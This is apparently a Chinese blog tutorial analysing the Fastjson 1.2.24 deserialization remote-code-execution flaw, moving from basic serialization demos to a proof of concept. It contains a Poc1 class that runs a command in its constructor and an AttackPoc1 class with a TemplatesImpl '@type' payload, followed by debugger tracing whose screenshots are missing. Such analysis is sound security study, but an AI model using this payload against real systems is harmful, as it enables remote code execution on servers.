從0開始fastjson漏洞分析

飄渺紅塵✨發表於2021-05-17

  關於fastjson漏洞利用參考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html

  fastjson這個漏洞出來了很久,一直沒時間分析,耽擱了,今天撿起來

  因為我們要分析fastjson相關漏洞,所以我們先去學習fastjson的基礎使用,如果我們連fastjson都不知道,更何談漏洞分析呢?

  首先先搭建相關漏洞環境:

  使用maven,非常方便我們切換相關漏洞版本:

  pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Java_Test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
        <!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <!--fastjson1.2.24環境安裝-->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>RELEASE</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    
</project>

 

 

 

 

  然後點選重新整理按鈕,會自動幫我們安裝相關依賴

  至此,我們就擁有了fastjson環境

  什麼是fastjson?

      fastjson是一個Java語言編寫的高效能功能完善的JSON庫。它採用一種“假定有序快速匹配”的演算法,把JSON Parse的效能提升到極致,是目前Java語言中最快的JSON庫。Fastjson介面簡單易用,已經被廣泛使用在快取序列化、協議互動、Web輸出、Android客戶端等多種應用場景。 

  簡單點說就是幫我們處理json資料的

      搓個demo:

    Student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){

    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  Teacher.java:

    

package com.test.fastjson;

import java.util.List;

public class Teacher {
    private int id;
    private String name;
    private List<Student> studentList;
    public Teacher(){

    }

    public Teacher(int id, String name, List<Student> studentList) {
        this.id = id;
        this.name = name;
        this.studentList = studentList;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public List<Student> getStudentList() {
        return studentList;
    }

    public void setStudentList(List<Student> studentList) {
        this.studentList = studentList;
    }

    @Override
    public String toString() {
        return "Teacher{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", studentList=" + studentList +
                '}';
    }
}

 

  

  編寫測試類:

    

 @Test
    public void fastjson_test1(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSON(student));
    }

  

 

 

  把物件轉換成json格式資料

  支援複雜的物件轉換json處理:  

@Test
    public void fastjson_test2(){
       List<Student> studentList = new ArrayList<Student>();
       for(int i=0;i<4;i++){
           Student student = new Student(i, "jack" + i, 23 + i);
           studentList.add(student);
       }
       List<Teacher> teacherList = new ArrayList<Teacher>();
       Teacher teacher = new Teacher();
       teacher.setStudentList(studentList);
        System.out.println(JSON.toJSON(teacher));
    }

  

 

 

  除了使用toJSON方法轉換外,還可以使用toJSONString方法:

    

@Test
    public void fastjson_test3(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSONString(student));
    }

 

  

 

 

   檢視返回型別,String型別

  

 

 

  說明是把student物件資料轉換成字串json資料

  JSON.toJSONString的擴充套件:   

  需求如下:只需要Student物件的id和age欄位,不要name欄位,怎麼做?

  

   @Test
    public void fastjson_test4(){
        Student student = new Student(1,"jack",24);
        //過濾只要id和age欄位
        SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
        String value = JSON.toJSONString(student, filter);
        System.out.println(value);
    }

  設定保留id和age欄位

  

 

  通過上面的學習知道了如果想把物件轉換成json資料可以使用JSON.toJSON,或者使用JSON.toJSONString

  我們繼續學習,下一步我們嘗試把json資料轉換成物件,還原我們的物件:

  

//反序列化,str型別資料轉換成class型別物件
    @Test
    public void fastjson_test5(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student);
        System.out.println("轉換成json資料");
        System.out.println(value);
        System.out.println("str型別json資料轉換成class型別物件");
        System.out.println(JSON.parseObject(value, Student.class));
    }

  

  

 

 

 

   通過上面程式碼,我們可以發現一個重點:

    fastjson會處理字串型別的json資料,上面的value變數是字串型別,這對我們後續漏洞分析很有幫助

   繼續擴充套件JSON.toJSONString:

      

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

    

 

 

  把結果輸出出來:

    

{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}

  發現多了個@type欄位,說明了我們Student物件轉換成json資料的資料型別,告訴我們是com.test.fastjson.Student型別的資料被轉換成json資料了.

  我們繼續學習:

    前面說了fastjson會處理我們的字串json,直接寫一段字串json資料:

    

    @Test
    public void fastjson_test7(){
        String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(jsonStr);
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

  我們這樣寫,會發現最後字串json沒有轉換成物件

  為什麼? 

  因為fastjson找不到我們要轉換的json資料在哪個類,這裡我們要宣告型別:

  再次修改:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

 

   有意思的地方來了,宣告型別後的字串json資料,fastjson並沒有把它轉換成物件:

  深入跟蹤下:

   在JSON.parseObject處打個斷點:

 

    跟進去:

    

 

 

  繼續進函式:

    

 

 

    

value=Student{id=1, name='jack', age=24}

  繼續下一步:

    

 

  

 return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

  判斷引用obj指向的物件是否是JSONObject,如果是就直接返回,否則就返回toJSON處理:

  繼續下一步執行:

    

 

 

  熟悉吧toJSON,把我們的student物件再次轉換成了json資料...:

    那麼最後的返回就是:

    

 

 

  解決辦法:使用parse替換parseObject:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parse(jsonStr));
    }

  這一次,我們成功把字串json資料轉換成了物件:  

 

 

   可能作為開發,到這一步已經學完了基礎的常用用法,但是對於安全來說,這裡可能是否可能會存在安全隱患呢?

  猜測:fastjson會根據我們申明的型別,fastjson在反序列化我們的字串json資料的時候,會把它轉換成物件,那麼如果我們的type欄位上輸入惡意類,是否會在java反序列化的時候導致安全問題呢?

  這就是fastjson安全漏洞的最初產生,惡意修改type類,導致安全問題

   深入研究fastjson的物件轉json,json轉物件的呼叫機制:

  修改我們的Student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  消除我們的構造方法:

    編寫測試方法:

    

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

 

    

 

 

  直接報錯了,發現我們json轉str失敗,我們反序列化失敗,報錯提示預設的構造方法不存在,說明前置條件1:fastjson反序列化必須要構造方法

  再次修改student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須呼叫我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  

  再次執行上面的測試方法:

    

 

 

 

    繼續探索:

    再次修改student.java:

   

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須呼叫我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
        System.out.println("setId被呼叫");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  在set方法中新增了一條輸出語句

    再次執行上面的測試方法:

    

 

 

  嘗試刪除set方法:

    修改student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須呼叫我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被呼叫");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  程式碼中註釋了setId方法

  再次執行:

  

 

 

  結論:反序列化物件的時候,如果物件中的屬性定義是private,那麼必須設定set方法,protected修飾符也是一樣,必須設定set方法

  只有set方法,沒有定義get方法可以被反序列化嗎?

    註釋掉get方法,保留set方法:

    

 

 

   結論:不可以,最起碼在JSON.parseObject下是不可以的

  總結:使用JSON.parseObject反序列化的時候,屬性欄位如果是private和protected修飾的時候,必須有set和get方法,否則可能導致某些欄位反序列化失敗

  再次修改student.java檔案:

    

package com.test.fastjson;

public class Student {
    public int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須呼叫我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

//    public int getId() {
//        return id;
//    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被呼叫");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

    修改private為public,註釋掉set和get方法

  再次執行測試方法:

    

 

 

 

  結論:public欄位下,set/get可有可無

  還是回到priavte欄位問題,再次修改student.class:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須呼叫我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被呼叫");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  註釋了set方法,保留get方法:

   前面說了,set和get方法缺一不可,所以我們JSON.ParseObject,一定是反序列化失敗的

   是否有解決方案?

      修改測試方法為:

    

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
        System.out.println(student1);
    }

  再次執行:

 

 

  Feature.SupportNonPublicField可以讓我們忽略設定set方法,只要設定get方法,就能達成反序列化

  最終結論總結:fastjson反序列化依賴於set和get方法,而且必須要有構造方法,最優先呼叫的是構造方法,fastjson設定Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一樣

 

   好了,基礎部分全部講完了,包括他反序列化和欄位以及構造方法的呼叫問題

  下面介紹fastjson第一個漏洞:

    利用鏈:Fastjson 1.2.24 遠端程式碼執⾏&&TemplatesImpl,依賴Feature.SupportNonPublicField 利用鏈比較雞肋

   但是分析這條利用鏈,可以讓你很清楚知道fastjson內部是怎麼進行序列化的,反序列化的,通過前面寫的demo,我們已經對fastjson內部處理物件和json轉換物件有了較為詳細的認知

     poc構造:我是mac,windows直接calc即可:

      Poc1.java:

package com.test.fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc1 extends AbstractTranslet {
    public Poc1() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        Poc1 poc1 = new Poc1();
    }
}

 

  編譯執行一次生成位元組碼,然後全域性base64編碼:

    

 

   反序列化攻擊:

    AttackPoc1.java:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc1 {
    public static void main(String[] args) throws ClassNotFoundException {
        String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
                "[\"剛剛生成的base64編碼的位元組碼資料\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
                "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

  執行: 

 

 

 

   成功命令執行彈窗計算器

  原理分析,先丟擲疑惑點:

    去除Feature.SupportNonPublicField還可以命令執行嗎?

    

 

  執行沒有命令執行,前面我們學習了Feature.SupportNonPublicField是當我們設定get方法,而沒有設定set方法的補救,即使沒有set方法也會幫我們反序列化成功

  跟進TemplatesImpl類:可以debug進去,這裡我選擇反射進去:

    

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

 

 

 

   以這個欄位為例:

    

 

 

     

 

 

  搜尋setOutputProperties:

    

 

   所以我們他一定要依賴於Feature.SupportNonPublicField

     打個斷點,深入跟蹤下:

      解決我們的幾個疑惑

      (1)為什麼_bytecodes定義的資料得是base64編碼

      (2)fastjson反序列化是怎麼走的?

  下個斷點:  

  

 

 

  先搞清楚第一個問題bytecodes位元組碼為什麼是base64編碼:

       

  判斷開頭輸入是否是{:

 

 

  繼續往下:

 

    

 

  設定token為12,很重要,後面的判斷都要基於token:

  

 

 

  一直下一步執行:

    

 

 

通過loadClass載入我們的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類:

  集合儲存惡意類:

    

 

 

  

 然後不斷判斷我們的clazz是什麼型別:

  

 

 

  不符合條件就繼續往下找:

  通過反射獲取所有的方法

      

 

 

  

 判斷方法的定義規則:

  

 

   

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                    Class<?>[] types = method.getParameterTypes();

  方法名字要符合這個條件:

  獲取欄位:

    

 

 

  debug真的腦子疼:

  重點來了:

    反序列化欄位:

    

 

   

 

  繼續往下跟:

    

 

    繼續往下:

    

 

 

  

 

 

   最後出函式呼叫parseObject:

   

 

 

 

 

  最後執行命令:

    

 

 

 

2.bytescodes base編碼原由:

反序列化的時候呼叫:

  

 byte[] bytes = lexer.bytesValue();
            lexer.nextToken(16);

 

    

 

會呼叫base64解碼:

 

 

 

 靜態除錯下:

    

 

 

  跟進方法:

  

 

 

  方法在介面類中,找介面實現類:

    搜尋到一個:

    

 

 

  進去:

    

 

 

  發現是個抽象類:

    java基礎核心概念:    

    

如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.

  尋找他的子類:

    

 

 

  檢視他的子類:

 

   

 

 

  

  他的父類是object:

    

 

 

  選擇他的子類進去看看:

     搜尋byteValue,檢視其函式實現:

    

 

 

 

 

    至此第一條雞肋的利用鏈分析完畢,明天我分析下不雞肋的利用鏈,利用jndi注入直接rce  

 

  

 

 

 

 

 

 

  

 

  

 

  

相關文章